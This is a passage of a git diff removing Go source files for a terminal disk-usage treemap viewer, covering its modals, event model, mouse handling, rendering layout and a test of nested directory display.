child", fmt.Sprintf("%s (%s)", textutil.Sanitize(tr.Node(k.ids[0]).Name), textutil.Size(k.sizes[0]))) - } - if n.Errors > 0 { - addS("Errors beneath", textutil.Count(int64(n.Errors)), Style{FG: t.Err, Attr: Bold}) - } - state := "complete" - switch { - case n.Flags&inventory.FlagIncomplete != 0: - state = "incomplete (not fully read)" - case n.Flags&inventory.FlagScanned == 0 && m.scanning: - state = "scanning…" - case n.Flags&(inventory.FlagSkippedFS|inventory.FlagVirtualFS|inventory.FlagLoop) != 0: - state = "not descended" - } - add("Scan state", state) - } else { - addS("Logical size", fmt.Sprintf("%s (%s bytes)", textutil.Size(n.Size), textutil.Count(n.Size)), bold) - alloc := fmt.Sprintf("%s (%s bytes)", textutil.Size(n.Alloc), textutil.Count(n.Alloc)) - if n.Flags&inventory.FlagAllocUnknown != 0 { - alloc = "unknown on this platform" - } - addS("Allocated size", alloc, bold) - if p := n.Parent; p != inventory.NoNode { - add("Of parent", textutil.Percent(n.Own(m.sizeMode), tr.Node(p).Total(m.sizeMode))) - } - } - if r := m.search.result; r != nil { - add("Matching filter", textutil.Size(r.Size(md.id))) - } - if d := m.opts.Diff; d != nil { - if old, ok := d.OldSize(md.id, m.sizeMode); ok { - add("In old snapshot", textutil.Size(old)) - addS("Change", textutil.SignedSize(n.Total(m.sizeMode)-old), bold) - } else { - addS("Change", "new since old snapshot", Style{FG: t.DiffNew, Attr: Bold}) - } - } - blank() - add("Type", n.Kind.String()) - if !n.IsDir() { - if e := tr.ExtName(n); e != "" { - add("Extension", textutil.Sanitize(e)) - } - add("Category", n.Cat.String()) - } - blank() - if n.MTime > 0 { - add("Modified", fmtTime(n.MTime)) - } - if md.btime > 0 { - add("Created", fmtTime(md.btime)) - } - blank() - add("Mode", fs.FileMode(n.Mode).String()) - add("Owner", textutil.Sanitize(platform.UserName(n.UID))) - add("Group", textutil.Sanitize(platform.GroupName(n.GID))) - if !n.IsDir() { - add("Hard links", fmt.Sprint(n.Nlink)) - sparse := "No" - if n.Flags&inventory.FlagSparse != 0 { - sparse = fmt.Sprintf("Yes (or compressed) — %s not allocated", textutil.Size(n.Size-n.Alloc)) - } - add("Sparse", sparse) - } - if fl := export.FlagList(n.Flags &^ (inventory.FlagScanned | inventory.FlagSparse)); len(fl) > 0 { - addS("Flags", strings.Join(fl, ", "), warn) - } - if n.Flags&inventory.FlagHardlinkDup != 0 { - out = append(out, styled("Another path to this inode was counted; this one adds nothing to totals.", Style{FG: t.Muted})) - } - if m.snapshot { - out = append(out, txt(""), styled("From snapshot — metadata as recorded, not live.", Style{FG: t.Muted})) - } - return out -} - -func fmtTime(ns int64) string { return time.Unix(0, ns).Format("2006-01-02 15:04:05") } - -func (md *infoModal) key(m *Model, k string) (bool, tea.Cmd) { - switch k { - case "c": - return false, m.copyPath(m.tree.Path(md.id)) - case "o": - m.sel = int64(md.id) - // Headless, o navigates the map, which the modal would cover. - return platform.Headless(), m.reveal() - case "enter": - return true, nil - case "g", "right": - m.jumpTo(md.id) - return true, nil - case "d", "delete": - m.sel = int64(md.id) - return true, m.requestTrash() - } - return false, nil -} - -// ---- LOD group ------------------------------------------------------------------ - -type groupModal struct{ g *group } - -func newGroupModal(_ *Model, g *group) modal { return &groupModal{g} } - -func (*groupModal) width() int { return 70 } -func (*groupModal) title() string { return "Smaller items (grouped)" } -func (*groupModal) footer(*Model) string { return "Esc close · Space shows them in the list view" } - -func (md *groupModal) content(m *Model, w int) []line { - t := m.theme - out := []line{ - txt(fmt.Sprintf("%s items too small to draw individually at this size,", textutil.Count(int64(len(md.g.ids))))), - txt(fmt.Sprintf("totalling %s. Zoom in or enlarge the terminal to see them.", textutil.Size(md.g.size))), - txt(""), - } - for i, id := range md.g.ids { - if i == 200 { - out = append(out, styled(fmt.Sprintf("… and %s more", textutil.Count(int64(len(md.g.ids)-200))), Style{FG: t.Muted})) - break - } - n := m.tree.Node(id) - name := textutil.Sanitize(n.Name) - if n.IsDir() { - name += "/" - } - out = append(out, line{{textutil.PadLeft(textutil.Size(m.sizeOf(id)), 11) + " ", &Style{FG: t.Muted}}, - {textutil.Truncate(name, w-13), &Style{FG: m.colorOf(int64(id)).Mix(t.Fg, 0.4)}}}) - } - return out -} - -func (md *groupModal) key(m *Model, k string) (bool, tea.Cmd) { - if k == "enter" { - m.sel = int64(md.g.ids[0]) - m.setViewByName("List") - return true, nil - } - return false, nil -} - -// ---- Help --------------------------------------------------------------------- - -type helpModal struct{} - -func newHelpModal(*Model) modal { return helpModal{} } - -func (helpModal) width() int { return 78 } -func (helpModal) title() string { return "Keyboard reference" } -func (helpModal) footer(*Model) string { return "Esc close · ↑↓ scroll" } - -func (helpModal) content(m *Model, _ int) []line { - t := m.theme - h := Style{FG: t.Accent, Attr: Bold} - k := Style{FG: t.Sel, Attr: Bold} - d := Style{FG: t.Fg} - var out []line - sec := func(s string) { - if len(out) > 0 { - out = append(out, txt("")) - } - out = append(out, styled(s, h)) - } - row := func(keys, desc string) { out = append(out, line{{" " + textutil.PadRight(keys, 19), &k}, {desc, &d}}) } - sec("NAVIGATION") - row("↑ ↓ ← → hjkl", "move spatially through the treemap") - row("Enter", "inspect the selected item") - row("Space →", "zoom into the selected directory") - row("Backspace ←", "zoom out one level") - row("Home", "back to the scan root") - row("click / dbl-click", "select / zoom (mouse)") - row("wheel", "zoom in/out (map), scroll (lists)") - sec("SEARCH & FILTER") - row("/", "search or filter; the map shows only matches") - row("Esc", "clear the filter") - out = append(out, styled(" ubuntu *.iso size > 5GB ext IN (iso,qcow2) age > 365d", Style{FG: t.Muted})) - out = append(out, styled(" path contains cache AND NOT type = dir owner = andy flag = sparse", Style{FG: t.Muted})) - fields := strings.Fields(filter.Fields) - out = append(out, styled(" fields: "+strings.Join(fields[:7], " "), Style{FG: t.Muted})) - out = append(out, styled(" "+strings.Join(fields[7:], " "), Style{FG: t.Muted})) - out = append(out, styled(" sizes: KiB/MiB/GiB (1024), kB/MB/GB (1000); ages: s min h d w mo y", Style{FG: t.Muted})) - sec("VIEWS") - row("Tab Shift+Tab", "next / previous view") - row("1 – 7", "jump to a view") - row("x", "file types (extension statistics)") - row("g", "top lists: largest, oldest, sparse, hard links …") - row("e", "scan information and errors") - row("D", "find duplicate files (reads file contents)") - sec("APPLICATION") - row("a", "toggle allocated / logical (apparent) size") - row("c", "copy path to clipboard") - row("o", revealVerb()) - if !m.opts.ReadOnly { - row("d", deleteVerb()+" (asks first)") - } - row("s", "save snapshot") - row("r", "rescan") - row("T", "cycle colour theme") - row("Ctrl+C", "cancel scan; press again to quit") - row("q", "quit") - out = append(out, txt("")) - units := "IEC (KiB = 1024 bytes)" - if textutil.SI { - units = "SI (kB = 1000 bytes)" - } - out = append(out, styled("Sizes: "+m.sizeMode.String()+" · units: "+units, Style{FG: t.Muted})) - return out -} - -func (helpModal) key(*Model, string) (bool, tea.Cmd) { return false, nil } - -// ---- Confirmation ------------------------------------------------------------- - -type confirmModal struct { - ttl string - body []string - yes string - onYes func(m *Model) tea.Cmd -} - -func (c *confirmModal) width() int { - w := 40 - for _, b := range c.body { - w = max(w, textutil.Width(b)) - } - return min(w, 90) -} -func (c *confirmModal) title() string { return c.ttl } -func (c *confirmModal) footer(*Model) string { return "y " + c.yes + " · n / Esc cancel" } -func (c *confirmModal) content(m *Model, w int) []line { - var out []line - for _, b := range c.body { - for _, l := range wrap(b, w) { - out = append(out, txt(l)) - } - } - return out -} -func (c *confirmModal) key(m *Model, k string) (bool, tea.Cmd) { - switch k { - case "y", "Y": - return true, c.onYes(m) - case "n", "N", "enter": - return true, nil - } - return false, nil -} - -// ---- Save snapshot --------------------------------------------------------------- - -type saveModal struct{ ed lineEditor } - -func newSaveModal(m *Model) modal { - md := &saveModal{} - md.ed.set(defaultSnapshotName(m.tree.Stats.Root)) - return md -} - -func (*saveModal) editing() bool { return true } -func (md *saveModal) editor() *lineEditor { return &md.ed } -func (*saveModal) width() int { return 70 } -func (*saveModal) title() string { return "Save snapshot" } -func (*saveModal) footer(*Model) string { return "Enter save · Esc cancel" } - -func (md *saveModal) content(m *Model, w int) []line { - t := m.theme - out := []line{txt("File:")} - s := textutil.Sanitize(md.ed.String()) - for _, l := range wrap(s+"█", w) { - out = append(out, styled(l, Style{FG: t.Fg, Attr: Bold})) - } - if m.scanning { - out = append(out, txt(""), styled("The scan is still running: the snapshot will be marked incomplete.", Style{FG: t.Warn})) - } - return out -} - -func (md *saveModal) key(m *Model, k string) (bool, tea.Cmd) { - switch k { - case "esc": - return true, nil - case "enter": - p := strings.TrimSpace(md.ed.String()) - if p == "" { - return false, nil - } - return true, tea.Batch(m.saveSnapshot(p), m.info("Saving snapshot…")) - } - return false, nil -} - -// revealVerb and deleteVerb describe o and d, which change meaning on a -// headless system. -func revealVerb() string { - if platform.Headless() { - return "show folder in map" - } - return "reveal in file manager" -} - -func deleteVerb() string { - if platform.Headless() { - return "delete permanently" - } - return "move to " + platform.TrashName -} diff --git a/internal/tui/model.go b/internal/tui/model.go deleted file mode 100644 index 5f9ad5a..0000000 --- a/internal/tui/model.go +++ /dev/null @@ -1,447 +0,0 @@ -// Package tui is the interactive terminal interface. All drawing goes to a -// Canvas; Bubble Tea only transports the finished frame. -// -// Threading: Update and View run on Bubble Tea's event goroutine. The scan -// controller mutates the inventory concurrently, so every read of tree data -// happens under tree.RLock (taken once per frame in View, and briefly in key -// handlers). The model itself is only touched on the event goroutine. -package tui - -import ( - "context" - "fmt" - "log/slog" - "os" - "path/filepath" - "strings" - "time" - - tea "charm.land/bubbletea/v2" - "github.com/charmbracelet/colorprofile" - - "github.com/andydixon/mapsize/internal/brand" - "github.com/andydixon/mapsize/internal/config" - "github.com/andydixon/mapsize/internal/filter" - "github.com/andydixon/mapsize/internal/inventory" - "github.com/andydixon/mapsize/internal/scan" - "github.com/andydixon/mapsize/internal/snapshot" - "github.com/andydixon/mapsize/internal/textutil" - "github.com/andydixon/mapsize/internal/treemap" -) - -// Options configures the interactive session. -type Options struct { - ReadOnly bool - Theme string - SizeMode inventory.SizeMode - Mouse bool - Color string // auto, truecolor, 256, 16, none - Save string // save a snapshot here when the scan completes - Settings config.Settings - Diff *snapshot.Diff // compare mode - // Start begins a scan (or returns a loaded tree with a nil scanner). - Start func(ctx context.Context) (*scan.Scanner, *inventory.Tree, error) -} - -// Messages. -type ( - tickMsg time.Time - scanDoneMsg struct{ s *scan.Scanner } - fatalMsg struct { - v any - stack []byte - } - filterMsg struct { - gen int - res *filter.Result - err error - } - filterDebounceMsg struct{ gen int } -) - -// Model is the Bubble Tea model. -type Model struct { - opts Options - theme *Theme - - scanner *scan.Scanner - tree *inventory.Tree - cancel context.CancelFunc - scanning bool - snapshot bool // tree was loaded from a snapshot (not the live filesystem) - ctrlC bool // a Ctrl+C already cancelled the scan - - w, h int - profile colorprofile.Profile - forced bool // profile forced by --color - sizeMode inventory.SizeMode - - views []view - view int - - zoom inventory.NodeID - sel int64 // selected block: NodeID, or groupID(parent) for an LOD group - // userSel is set once the user has chosen a selection; before that the - // selection follows the largest block. - userSel bool - zoomed bool // zoom changed during this message (zoomTo set userSel) - - search searchState - modals []modal - - toast string - toastStyle Style - toastUntil time.Time - - // Frame and data caches. - dirty bool - frame string - dataVer int // bumped when sizes/filters change; invalidates caches - lastData time.Time // last time dataVer advanced during a scan - kidsCache map[inventory.NodeID]*kids - kidsVer int - tm *tmLayout - hits []hit // clickable regions from the last frame - hover int64 - lastClick time.Time - lastClickI int64 - ticking bool - - pendingZoom string // path to re-zoom after a rescan - dups *dupState - - fatal *fatalMsg - quit bool -} - -// hit is a clickable region recorded while painting. -type hit struct { - r treemap.Rect - fn func(m *Model, double bool) tea.Cmd -} - -func groupID(parent inventory.NodeID) int64 { return -1 - int64(parent) } -func isGroup(id int64) bool { return id < 0 } -func groupParent(id int64) inventory.NodeID { return inventory.NodeID(-1 - id) } - -func newModel(opts Options, s *scan.Scanner, t *inventory.Tree, cancel context.CancelFunc) *Model { - m := &Model{ - opts: opts, scanner: s, tree: t, cancel: cancel, scanning: s != nil, snapshot: s == nil, - sizeMode: opts.SizeMode, dirty: true, kidsCache: map[inventory.NodeID]*kids{}, hover: noSel, - lastClickI: noSel, - } - name := opts.Theme - if name == "" || name == "default" { - if _, ok := os.LookupEnv("NO_COLOR"); ok { - name = "mono" - } - } - m.theme = LoadTheme(name, opts.Settings) - if strings.EqualFold(os.Getenv("TERM"), "linux") || os.Getenv("MAPSIZE_ASCII") != "" { - m.theme.ASCII = true - } - m.views = []view{&mapView{}, &listView{}, &extView{}, &topView{}, &infoView{}} - if opts.Diff != nil { - m.views = append(m.views, &changesView{}) - } - m.zoom = t.Root() - m.sel = noSel - return m -} - -const noSel int64 = 1 << 62 - -// debugPanic lets developers verify terminal restoration on crashes: -// MAPSIZE_DEBUG_PANIC=ui panics on the first key press; =scanner panics in -// a background goroutine shortly after start. -var debugPanic = os.Getenv("MAPSIZE_DEBUG_PANIC") - -// Init starts ticking and waits for scan completion. -func (m *Model) Init() tea.Cmd { - cmds := []tea.Cmd{tea.RequestWindowSize} - if m.scanning { - cmds = append(cmds, waitScan(m.scanner), m.startTicking()) - } - return tea.Batch(cmds...) -} - -func waitScan(s *scan.Scanner) tea.Cmd { - return func() tea.Msg { <-s.Done(); return scanDoneMsg{s} } -} - -func (m *Model) refreshInterval() time.Duration { - hz := m.opts.Settings.RefreshHz - if hz <= 0 { - hz = 10 - } - return time.Second / time.Duration(hz) -} - -// startTicking returns a tick command unless one is already pending. -func (m *Model) startTicking() tea.Cmd { - if m.ticking { - return nil - } - m.ticking = true - return tea.Tick(m.refreshInterval(), func(t time.Time) tea.Msg { return tickMsg(t) }) -} - -func (m *Model) needsTicks() bool { - return m.scanning || time.Now().Before(m.toastUntil) || (m.dups != nil && m.dups.running) -} - -// notify shows a transient status message. -func (m *Model) notify(s string, st Style) tea.Cmd { - m.toast, m.toastStyle, m.toastUntil = s, st, time.Now().Add(4*time.Second) - m.dirty = true - return m.startTicking() -} - -func (m *Model) info(s string) tea.Cmd { - return m.notify(s, Style{FG: m.theme.Fg, BG: m.theme.StatusBg}) -} -func (m *Model) warn(s string) tea.Cmd { - return m.notify(s, Style{FG: m.theme.Warn, BG: m.theme.StatusBg, Attr: Bold}) -} - -// invalidate marks size-dependent caches stale. -func (m *Model) invalidate() { - m.dataVer++ - m.dirty = true -} - -// Update handles one message. -func (m *Model) Update(msg tea.Msg) (tea.Model, tea.Cmd) { - cmd := m.update(msg) - if m.quit { - return m, tea.Quit - } - return m, cmd -} - -func (m *Model) update(msg tea.Msg) tea.Cmd { - switch msg := msg.(type) { - case tea.WindowSizeMsg: - // Only record the size; layout is recomputed lazily in View, so a - // storm of resize events costs at most one layout per frame. - if msg.Width != m.w || msg.Height != m.h { - m.w, m.h = msg.Width, msg.Height - m.dirty = true - } - case tickMsg: - m.ticking = false - if m.scanning { - m.dirty = true - if time.Since(m.lastData) >= 400*time.Millisecond { - m.invalidate() - m.lastData = time.Now() - } - m.resolvePendingZoom() - } - if m.toast != "" && time.Now().After(m.toastUntil) { - m.toast = "" - m.dirty = true - } - var cmds []tea.Cmd - if m.scanning && m.search.query != nil && time.Since(m.search.appliedAt) > time.Second { - cmds = append(cmds, m.applyFilter()) - } - if m.dups != nil && m.dups.running { - m.dirty = true - } - if m.needsTicks() { - cmds = append(cmds, m.startTicking()) - } - return tea.Batch(cmds...) - case scanDoneMsg: - if msg.s != m.scanner { - return nil // a superseded scan - } - return m.scanFinished() - case filterMsg: - return m.filterResult(msg) - case filterDebounceMsg: - if msg.gen == m.search.gen { - return m.applyFilter() - } - case dupProgressMsg, dupDoneMsg: - return m.dupMsg(msg) - case trashDoneMsg: - return m.trashDone(msg) - case saveDoneMsg: - if msg.err != nil { - return m.warn("Snapshot save failed: " + textutil.Sanitize(msg.err.Error())) - } - return m.info("Saved snapshot " + textutil.Sanitize(msg.path)) - case fatalMsg: - m.fatal = &msg - m.quit = true - case tea.KeyPressMsg: - if debugPanic == "ui" { - panic("MAPSIZE_DEBUG_PANIC=ui: deliberate panic to test terminal restoration") - } - m.dirty = true - prev := m.sel - m.zoomed = false - cmd := m.handleKey(msg) - m.noteSelection(prev) - return cmd - case tea.MouseClickMsg: - prev := m.sel - m.zoomed = false - cmd := m.mouseClick(msg.Mouse()) - m.noteSelection(prev) - return cmd - case tea.MouseWheelMsg: - return m.mouseWheel(msg.Mouse()) - case tea.MouseMotionMsg: - m.mouseMotion(msg.Mouse()) - case tea.ColorProfileMsg: - if !m.forced { - m.profile = msg.Profile - } - m.dirty = true - } - return nil -} - -// noteSelection records that the user chose a selection explicitly. -func (m *Model) noteSelection(prev int64) { - if !m.zoomed && m.sel != prev && m.sel != noSel { - m.userSel = true - } -} - -func (m *Model) scanFinished() tea.Cmd { - m.scanning = false - m.invalidate() - m.resolvePendingZoom() - t := m.tree - t.RLock() - st := t.Stats - r := t.Node(t.Root()) - total := r.Total(m.sizeMode) - files := st.Files + st.Symlinks + st.Others - errs := st.TotalErrors() - el := st.Elapsed() - t.RUnlock() - slog.Info("scan finished", "files", files, "dirs", st.Dirs, "bytes", total, "errors", errs, - "cancelled", st.Cancelled, "elapsed", el) - var cmds []tea.Cmd - rate := float64(files+st.Dirs) / max(el.Seconds(), 0.001) - msg := fmt.Sprintf("✓ Scan complete %s · %s files · %s dirs · %s · %s/s", - textutil.Duration(el), textutil.Count(files), textutil.Count(st.Dirs), textutil.Size(total), textutil.Count(int64(rate))) - if st.Cancelled { - msg = "✗ Scan cancelled — totals are incomplete" - } - if errs > 0 { - msg += fmt.Sprintf(" · %s errors (e)", textutil.Count(errs)) - } - if st.Cancelled || errs > 0 { - cmds = append(cmds, m.warn(msg)) - } else { - cmds = append(cmds, m.notify(msg, Style{FG: m.theme.OK, BG: m.theme.StatusBg, Attr: Bold})) - } - if m.opts.Save != "" && !st.Cancelled { - cmds = append(cmds, m.saveSnapshot(m.opts.Save)) - } - if m.search.query != nil { - cmds = append(cmds, m.applyFilter()) - } - return tea.Batch(cmds...) -} - -// ctrlCPressed: first press cancels a running scan, second quits. -func (m *Model) ctrlCPressed() tea.Cmd { - if m.scanning && !m.ctrlC { - m.ctrlC = true - m.cancel() - return m.warn("Cancelling scan… press Ctrl+C again to quit") - } - m.quit = true - return nil -} - -func (m *Model) rescan() tea.Cmd { - if m.snapshot { - return m.warn("Snapshot loaded — nothing to rescan") - } - // Called from handleKey, which holds the old tree's read lock. - m.pendingZoom = m.tree.Path(m.zoom) - m.cancel() - ctx, cancel := context.WithCancel(context.Background()) - s, t, err := m.opts.Start(ctx) - if err != nil { - cancel() - return m.warn("Rescan failed: " + textutil.Sanitize(err.Error())) - } - m.scanner, m.tree, m.cancel, m.scanning, m.ctrlC = s, t, cancel, s != nil, false - m.zoom, m.sel = t.Root(), noSel - m.kidsCache = map[inventory.NodeID]*kids{} - if m.dups != nil { - m.dups.cancel() - m.dups = nil - // Drop the duplicates view: its rows referred to the old tree. - for i, v := range m.views { - if _, ok := v.(*dupView); ok { - m.views = append(m.views[:i], m.views[i+1:]...) - m.view = 0 - break - } - } - } - m.search.result = nil - m.search.gen++ // results computed against the old tree are discarded - m.invalidate() - return tea.Batch(waitScan(s), m.startTicking(), m.info("Rescanning…"), m.applyFilter()) -} - -// resolvePendingZoom re-zooms into the remembered directory once the new -// scan has discovered it. -func (m *Model) resolvePendingZoom() { - if m.pendingZoom == "" { - return - } - m.tree.RLock() - defer m.tree.RUnlock() - root := m.tree.Path(m.tree.Root()) - rel, err := filepath.Rel(root, m.pendingZoom) - if err != nil || strings.HasPrefix(rel, "..") { - m.pendingZoom = "" - return - } - id := m.tree.Root() - if rel != "." { - for _, part := range strings.Split(rel, string(filepath.Separator)) { - next := inventory.NoNode - m.tree.Children(id, func(c inventory.NodeID, n *inventory.Node) { - if n.Name == part { - next = c - } - }) - if next == inventory.NoNode { - return // not discovered yet - } - id = next - } - } - m.zoom = id - m.pendingZoom = "" - m.dirty = true -} - -// View renders the frame. Expensive work happens only when something -// changed; otherwise the cached frame is returned. -func (m *Model) View() tea.View { - if m.dirty || m.frame == "" { - m.frame = m.render() - m.dirty = false - } - v := tea.NewView(m.frame) - v.AltScreen = true - if m.opts.Mouse { - v.MouseMode = tea.MouseModeAllMotion - } - v.WindowTitle = brand.Name - return v -} diff --git a/internal/tui/mouse.go b/internal/tui/mouse.go deleted file mode 100644 index 7fe2f7b..0000000 --- a/internal/tui/mouse.go +++ /dev/null @@ -1,110 +0,0 @@ -package tui - -import ( - "time" - - tea "charm.land/bubbletea/v2" - - "github.com/andydixon/mapsize/internal/inventory" -) - -const doubleClick = 400 * time.Millisecond - -func (m *Model) mouseClick(ev tea.Mouse) tea.Cmd { - t := m.tree - t.RLock() - defer t.RUnlock() - m.dirty = true - if len(m.modals) > 0 { - // Clicking outside the modal closes it. - if len(m.hits) > 0 && !m.hits[0].r.Contains(ev.X, ev.Y) { - m.closeModal() - } - return nil - } - if ev.Button == tea.MouseRight { - for _, h := range m.hits { - if h.r.Contains(ev.X, ev.Y) { - h.fn(m, false) - return m.inspectSelection() - } - } - return nil - } - if ev.Button != tea.MouseLeft { - return nil - } - for i := len(m.hits) - 1; i >= 0; i-- { - h := m.hits[i] - if h.r.Contains(ev.X, ev.Y) { - key := int64(ev.Y)<<32 | int64(i) - double := time.Since(m.lastClick) < doubleClick && m.lastClickI == key - m.lastClick, m.lastClickI = time.Now(), key - if double { - m.lastClickI = noSel - } - return h.fn(m, double) - } - } - return nil -} - -// clickBlock selects a treemap block; a double click zooms (or inspects). -func (m *Model) clickBlock(id int64, double bool) tea.Cmd { - m.sel = id - if !double { - return nil - } - if !isGroup(id) && !m.tree.Node(inventory.NodeID(id)).IsDir() { - return m.inspectSelection() - } - return m.zoomIntoSelection() -} - -func (m *Model) mouseWheel(ev tea.Mouse) tea.Cmd { - t := m.tree - t.RLock() - defer t.RUnlock() - m.dirty = true - up := ev.Button == tea.MouseWheelUp - if ev.Button != tea.MouseWheelUp && ev.Button != tea.MouseWheelDown { - return nil - } - if len(m.modals) > 0 { - f := m.modals[len(m.modals)-1].(*modalFrame) - if up { - f.scroll -= 3 - } else { - f.scroll += 3 - } - f.clampScroll() - return nil - } - if up { - // Zoom towards the block under the pointer. - if l := m.tm; l != nil && m.view == 0 { - for _, b := range l.blocks { - if b.Contains(ev.X, ev.Y) { - m.sel = b.ID - } - } - } - } - return m.views[m.view].wheel(m, up) -} - -func (m *Model) mouseMotion(ev tea.Mouse) { - h := noSel - if l := m.tm; l != nil && m.view == 0 && len(m.modals) == 0 { - for _, b := range l.blocks { - if b.Contains(ev.X, ev.Y) { - h = b.ID - break - } - } - } - if h != m.hover { - m.hover = h - m.dirty = true - } -} diff --git a/internal/tui/nest_test.go b/internal/tui/nest_test.go deleted file mode 100644 index f8554ef..0000000 --- a/internal/tui/nest_test.go +++ /dev/null @@ -1,89 +0,0 @@ -package tui - -import ( - "context" - "fmt" - "strings" - "testing" - - "github.com/charmbracelet/colorprofile" - "github.com/charmbracelet/x/ansi" - - "github.com/andydixon/mapsize/internal/inventory" - "github.com/andydixon/mapsize/internal/scan" -) - -func rootTree() *inventory.Tree { - t := inventory.New("/", inventory.KindDir) - add := func(p inventory.NodeID, name string, size int64) { - id := t.Add(p, name, inventory.KindFile) - n := t.Node(id) - n.Size, n.Alloc = size, size - n.Cat = inventory.CategoryFor(inventory.Ext(name), false, false) - } - dir := func(p inventory.NodeID, name string) inventory.NodeID { - id := t.Add(p, name, inventory.KindDir) - t.Node(id).Flags |= inventory.FlagScanned - return id - } - mnt := dir(0, "mnt") - raid := dir(mnt, "raid") - media := dir(raid, "media") - for _, show := range []string{"X-Files", "Simpsons", "Frasier"} { - s := dir(media, show) - for i := 1; i <= 5; i++ { - se := dir(s, fmt.Sprintf("S%02d", i)) - for e := 1; e <= 20; e++ { - add(se, fmt.Sprintf("E%02d.mkv", e), int64(e)<<28) - } - } - } - usr := dir(0, "usr") - lib := dir(usr, "lib") - for i := range 50 { - add(lib, fmt.Sprintf("lib%d.so", i), int64(i+1)<<22) - } - v := dir(0, "var") - add(dir(v, "log"), "syslog", 2<<30) - t.Recompute() - t.Stats.Complete = true - return t -} - -// A single-child chain (mnt → raid → media) must not use up the nesting -// budget: the map at / should reach the seasons and their episodes. -func TestNestingReachesDeepMedia(t *testing.T) { - tr := rootTree() - m := newModel(Options{Start: func(context.Context) (*scan.Scanner, *inventory.Tree, error) { return nil, tr, nil }}, nil, tr, func() {}) - m.profile = colorprofile.TrueColor - send(m, size(160, 45)) - if out := ansi.Strip(m.View().Content); !strings.Contains(out, "mnt/raid/media/") || !strings.Contains(out, "S01/") { - t.Fatalf("chain or seasons missing:\n%s", out) - } - files := 0 - for _, nb := range m.tm.nested { - if nb.id >= 0 && !tr.Node(inventory.NodeID(nb.id)).IsDir() { - files++ - } - } - if files < 50 { - t.Fatalf("only %d episode blocks drawn", files) - } -} - -// Headless, o shows the selected folder in the map instead of launching a -// file manager. -func TestRevealHeadlessZoomsMap(t *testing.T) { - t.Setenv("DISPLAY", "") - t.Setenv("WAYLAND_DISPLAY", "") - tr := rootTree() - m := newModel(Options{Start: func(context.Context) (*scan.Scanner, *inventory.Tree, error) { return nil, tr, nil }}, nil, tr, func() {}) - send(m, size(160, 45)) - mnt := m.kidsOf(m.zoom).ids[0] - m.snapshot = false // reveal is refused for snapshots - m.sel, m.userSel = int64(mnt), true - send(m, key("o")) - if m.zoom != mnt { - t.Fatalf("zoom = %q, want mnt", tr.Path(m.zoom)) - } -} diff --git a/internal/tui/render.go b/internal/tui/render.go deleted file mode 100644 index bd2174f..0000000 --- a/internal/tui/render.go +++ /dev/null @@ -1,422 +0,0 @@ -package tui - -import ( - "fmt" - "strings" - "time" - - tea "charm.land/bubbletea/v2" - "github.com/charmbracelet/colorprofile" - - "github.com/andydixon/mapsize/internal/brand" - "github.com/andydixon/mapsize/internal/inventory" - "github.com/andydixon/mapsize/internal/textutil" - "github.com/andydixon/mapsize/internal/treemap" -) - -// Minimum usable terminal size. -const minW, minH = 40, 10 - -type sizeClass int - -const ( - tooSmall sizeClass = iota - small - medium - large -) - -// geometry is the panel layout for one terminal size. It is recomputed from -// scratch for every frame, so resizing can never leave stale geometry. -type geometry struct { - class sizeClass - tabs, crumbs treemap.Rect // tabs is empty in the small layout - main, side, info, stat treemap.Rect -} - -func computeGeometry(w, h int) geometry { - g := geometry{} - switch { - case w < minW || h < minH: - g.class = tooSmall - return g - case w >= 150 && h >= 36: - g.class = large - case w >= 90 && h >= 22: - g.class = medium - default: - g.class = small - } - y := 0 - if g.class >= medium { - g.tabs = treemap.Rect{X: 0, Y: 0, W: w, H: 1} - y = 1 - } - g.crumbs = treemap.Rect{X: 0, Y: y, W: w, H: 1} - y++ - bottom := h - 1 - g.stat = treemap.Rect{X: 0, Y: h - 1, W: w, H: 1} - if g.class >= medium { - g.info = treemap.Rect{X: 0, Y: h - 2, W: w, H: 1} - bottom = h - 2 - } - g.main = treemap.Rect{X: 0, Y: y, W: w, H: bottom - y} - if g.class == large { - sw := min(40, w/5) - g.side = treemap.Rect{X: 0, Y: y, W: sw, H: g.main.H} - g.main.X, g.main.W = sw, w-sw - } - return g -} - -func (m *Model) render() string { - t := m.theme - cv := NewCanvas(m.w, m.h, t.base()) - m.hits = m.hits[:0] - g := computeGeometry(m.w, m.h) - if g.class == tooSmall { - m.renderTooSmall(cv) - return cv.Render(m.depth()) - } - m.tree.RLock() - defer m.tree.RUnlock() - - m.ensureSelection() - if g.tabs.W > 0 { - m.paintTabs(cv, g.tabs) - } - m.paintCrumbs(cv, g.crumbs) - if !g.side.Empty() { - m.paintSide(cv, g.side) - } - m.views[m.view].paint(m, cv, g.main) - if !g.info.Empty() { - m.paintInfoLine(cv, g.info) - } - m.paintStatus(cv, g.stat, g.class) - if g.class == small && m.search.editing { - m.paintSearch(cv, g.stat) - } - if len(m.modals) > 0 { - m.paintModal(cv) - } - return cv.Render(m.depth()) -} - -func (m *Model) depth() colorDepth { - switch m.profile { - case colorprofile.ANSI256: - return depth256 - case colorprofile.ANSI: - return depth16 - } - return depthTrue -} - -func (m *Model) renderTooSmall(cv *Canvas) { - st := m.theme.muted() - lines := []string{"Terminal too small", fmt.Sprintf("%d×%d — need %d×%d", m.w, m.h, minW, minH), "q quits"} - y0 := max(0, (m.h-len(lines))/2) - for i, l := range lines { - cv.TextCentered(0, y0+i, m.w, l, st) - } -} - -// paintTabs draws the view tabs and mode chips. -func (m *Model) paintTabs(cv *Canvas, r treemap.Rect) { - t := m.theme - cv.Fill(r, " ", t.header()) - badge := " ◧ " + brand.Name + " " - if t.ASCII { - badge = " " + brand.Name + " " - } - x := cv.Text(r.X, r.Y, badge, r.W, Style{FG: t.textOn(t.Accent), BG: t.Accent, Attr: Bold | m.monoRev()}) - x++ - for i, v := range m.views { - label := " " + v.name() + " " - st := Style{FG: t.Muted, BG: t.HeaderBg} - if i == m.view { - st = Style{FG: t.Fg, BG: t.Bg, Attr: Bold | Underline} - } - if x+textutil.Width(label) >= r.W-30 { - break - } - w := cv.Text(x, r.Y, label, r.W-x, st) - idx := i - m.hits = append(m.hits, hit{treemap.Rect{X: x, Y: r.Y, W: w, H: 1}, func(m *Model, _ bool) tea.Cmd { m.setView(idx); return nil }}) - x += w - } - // Right-aligned chips. - var chips []struct { - s string - bg Color - } - add := func(s string, bg Color) { - chips = append(chips, struct { - s string - bg Color - }{s, bg}) - } - if m.opts.ReadOnly { - add("READ ONLY", t.Err) - } - if m.snapshot { - add("SNAPSHOT", t.Accent) - } - if m.opts.Diff != nil { - add("COMPARE", t.DiffNew) - } - if m.search.query != nil { - add("FILTER", t.Warn) - } - if 